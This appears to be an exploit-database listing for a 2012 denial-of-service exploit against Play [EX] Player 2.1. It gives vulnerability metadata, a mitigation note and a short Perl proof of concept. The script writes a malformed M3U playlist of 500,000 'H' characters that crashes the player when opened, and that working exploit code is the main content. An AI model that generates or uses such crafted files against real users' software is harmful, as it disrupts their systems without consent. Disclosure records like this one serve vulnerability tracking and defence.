header-logo
Suggest Exploit
vendor:
Play EX Player
by:
Death Shadow Dark
7,5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Play EX Player
Affected Version From: 2.1
Affected Version To: 2.1
Patch Exists: Yes
Related CWE: N/A
CPE: a:nautrup:play_ex_player
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 Pro 64 bit and Windows XP SP3 Pro
2012

Play [EX] 2.1 Playlist File (M3U/PLS/LST) DoS Exploit

This exploit creates a malicious M3U file with 500000 'H' characters, which when opened with Play [EX] 2.1 causes a denial of service.

Mitigation:

Upgrade to the latest version of Play [EX] 2.1
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Play [EX] 2.1 Playlist File (M3U/PLS/LST) DoS Exploit
# Exploit discovered and coded by Death Shadow Dark
# Tested on Windows 7 Pro 64 bit and Windows XP SP3 Pro
# Sofware Link http://www.nautrup.com/pex/PlayEX_Player.html
# death.shadow.dark@gmail.com
# 07/04/2012
#

$poc = "H" x 500000;
open(m3u, ">poc_death.m3u");
print m3u "$poc";
print "\n + Exploit created !\n";

Navigation

Suggest Exploit

Services By CQR